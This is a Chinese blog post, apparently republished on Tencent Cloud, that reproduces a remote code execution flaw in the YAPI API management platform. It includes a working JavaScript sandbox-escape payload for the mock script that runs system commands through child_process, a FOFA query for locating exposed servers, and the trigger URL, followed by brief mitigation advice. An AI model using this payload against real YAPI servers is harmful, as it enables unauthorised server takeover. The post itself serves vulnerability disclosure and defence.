前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >YAPI开源接口管理平台RCE漏洞复现

YAPI开源接口管理平台RCE漏洞复现

作者头像
乌鸦安全
发布2021-08-05 10:27:55
2.2K0
发布2021-08-05 10:27:55
举报
文章被收录于专栏:乌鸦安全

以下内容来自:星期五实验室

1.漏洞详情

YAPI接口管理平台是国内某旅行网站的开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。

该漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意javascript代码,最终导致接管并控制服务器。

影响版本:YAPI全版本

fofa规则:app="YApi"

2.漏洞复现

首先是注册账号

在这里随意注册一个账号test

在里面新建项目

项目名称和路径如下

设置全局mock脚本及接口,在设置里面找到全局mock脚本,勾上是否开启。mock脚本内容如下

代码语言:javascript
复制
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()

选择开启

保存之后,接着设置接口,在这里添加接口

添加接口

添加好接口之后,直接访问Mock地址就行。

访问地址

代码语言:javascript
复制
http://your ip:3000/mock/60/test/test

到此便复现完成,复现结束记得删除项目。

3. 防御措施

1、更改Yapi运行端口

2、使用Nginx对Yapi进行反向代理

3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。

4、关闭Yapi注册

5、关闭Yapi Mock

4. 参考文献

代码语言:javascript
复制
https://github.com/YMFE/yapi/issues/2233
https://github.com/YMFE/yapi/issues/2099
本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-07-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 乌鸦安全 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1.漏洞详情
  • 2.漏洞复现
    • 设置全局mock脚本及接口,在设置里面找到全局mock脚本,勾上是否开启。mock脚本内容如下
    • 3. 防御措施
    • 4. 参考文献
    相关产品与服务
    访问管理
    访问管理(Cloud Access Management,CAM)可以帮助您安全、便捷地管理对腾讯云服务和资源的访问。您可以使用CAM创建子用户、用户组和角色,并通过策略控制其访问范围。CAM支持用户和角色SSO能力,您可以根据具体管理场景针对性设置企业内用户和腾讯云的互通能力。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档